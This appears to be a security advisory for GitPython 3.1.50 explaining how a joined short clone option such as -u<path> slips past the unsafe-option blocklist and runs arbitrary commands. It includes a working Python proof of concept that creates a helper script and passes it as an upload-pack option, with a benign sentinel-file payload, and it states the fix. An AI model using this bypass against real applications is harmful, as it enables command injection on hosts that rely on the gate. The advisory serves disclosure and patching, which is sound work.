GitPython unsafe clone option gate bypass via joined short options
GitPython 3.1.50 lets attackers run arbitrary commands during git clone by passing a joined short option like -u/path/to/helper, which slips past the unsafe-option gate that only checks the plain -u f
The problem
GitPython 3.1.50 blocks dangerous git clone options such as --upload-pack and -u by default, raising an UnsafeOptionError unless the caller passes allow_unsafe_options=True.
The gate normalizes option names with _canonicalize_option_name(), but that function strips only leading dashes. So -u/path/to/helper becomes u/path/to/helper, which does not match the blocked token u. Git itself accepts the joined form -u<value> as equivalent to --upload-pack=<value>, so the helper executes even though allow_unsafe_options=False.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
import tempfile, os, stat
from git import Repo
# 1. Create a bare repo to clone from
tmp = tempfile.mkdtemp()
bare = os.path.join(tmp, "bare.git")
Repo.init(bare, bare=True)
# 2. Write a helper script that creates a sentinel file
helper = os.path.join(tmp, "helper.sh")
sentinel = os.path.join(tmp, "sentinel.txt")
with open(helper, "w") as f:
f.write(f"#!/bin/sh\necho PWNED > {sentinel}\nexit 1\n")
os.chmod(helper, os.stat(helper).st_mode | stat.S_IEXEC)
# 3. Clone with joined short option -- bypasses allow_unsafe_options=False
dest = os.path.join(tmp, "cloned")
try:
Repo.clone_from(
bare,
dest,
multi_options=[f"-u{helper}"], # blocked long form --upload-pack={helper} is rejected
allow_unsafe_options=False, # gate is active but ineffective
)
except Exception:
pass
print("sentinel exists:", os.path.exists(sentinel)) # True == RCE confirmedThe vulnerable code splits multi_options with shlex.split then calls Git.check_unsafe_options(). Inside that check, _canonicalize_option_name("-u/path/to/helper") strips dashes and returns "u/path/to/helper", which is compared against the blocked set {"u", "c", ...} and does not match.
Git parses -u<value> as a joined short option, identical to --upload-pack=<value>, so it executes the given helper binary during the clone handshake. The fix in PR #2162 (released in 3.1.51) teaches the canonicalizer to recognize single-character short options and strip any trailing joined value, so -u/path/to/helper is correctly reduced to u before the blocklist comparison.
This is CWE-78 (OS Command Injection) via an incomplete blocklist check.
The fix
Upgrade GitPython to 3.1.51 or later. The patch corrects _canonicalize_option_name() so that joined short options like -uVALUE and -cKEY=VALUE are normalized to their bare single-character form before the unsafe-option comparison. No API changes are required; existing callers relying on allow_unsafe_options=False are protected automatically after the upgrade.
Related research
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass
- high · 8.4GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options
- high · 7.8CVE-2026-55426CVE-2026-55426: linuxfabrik-lib OS Command Injection via shell_exec
- high · 8.4CVE-2026-55786CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP